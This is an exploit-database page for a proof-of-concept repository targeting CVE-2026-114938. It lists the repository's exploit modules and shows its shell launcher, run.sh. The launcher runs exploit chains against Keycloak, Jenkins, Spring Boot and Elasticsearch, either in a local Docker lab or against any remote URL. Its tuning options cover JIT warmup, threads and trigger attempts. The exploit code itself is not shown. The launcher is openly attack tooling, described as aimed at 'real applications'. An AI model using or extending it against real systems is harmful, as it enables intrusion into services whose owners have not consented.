Exploit databaseDownload repository ZIP
GH-0d4f9b516ef973b83b6882db1c307dc6
ikow/java4shell-poc
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
ikow/java4shell-pocRevision 310f62c7fa30
- ↑..Parent directory
- elasticsearch_exploit.py
- exploit_all.py
- framework.py
- jenkins_exploit.py
- keycloak_exploit.py
- run.sh
- springboot_exploit.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/downstream/run.sh
Shell · 1,901 bytes#!/usr/bin/env bash
# Java4Shell Downstream Exploit Runner
# Runs target-specific exploit chains against real applications
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; CYAN='\033[0;36m'; NC='\033[0m'
cd "$(dirname "$0")"
echo -e "${CYAN}Java4Shell Downstream Exploit Suite${NC}"
echo -e "${CYAN}CVE-2026-114938 — Target-specific exploit chains${NC}"
echo ""
# Check Python
if ! command -v python3 &>/dev/null; then
echo -e "${RED}Python 3 required.${NC}"
exit 1
fi
case "${1:-all}" in
keycloak|jenkins|springboot|elasticsearch|all)
echo -e "${GREEN}Running exploit: ${1:-all}${NC}"
python3 exploit_all.py --target "${1:-all}" "${@:2}"
;;
docker)
# Run via Docker against the target lab
echo -e "${CYAN}Running against Docker Compose targets...${NC}"
export KEYCLOAK_URL="http://localhost:8080"
export JENKINS_URL="http://localhost:8081"
export SPRINGBOOT_URL="http://localhost:8082"
export ELASTICSEARCH_URL="http://localhost:9200"
python3 exploit_all.py --target all "${@:2}"
;;
remote)
# Run against remote targets
if [[ -z "${2:-}" ]]; then
echo "Usage: $0 remote <target> <url>"
echo " e.g., $0 remote keycloak https://keycloak.internal:8443"
exit 1
fi
python3 exploit_all.py --target "$2" --url "$3" "${@:4}"
;;
*)
echo "Usage: $0 {keycloak|jenkins|springboot|elasticsearch|all|docker|remote <target> <url>}"
echo ""
echo "Options (passed to exploit_all.py):"
echo " --warmup N JIT warmup requests (default: 5000)"
echo " --threads N Warmup thread count (default: 8)"
echo " --triggers N Trigger attempts per phase (default: 20)"
echo " --json JSON output"
exit 1
;;
esac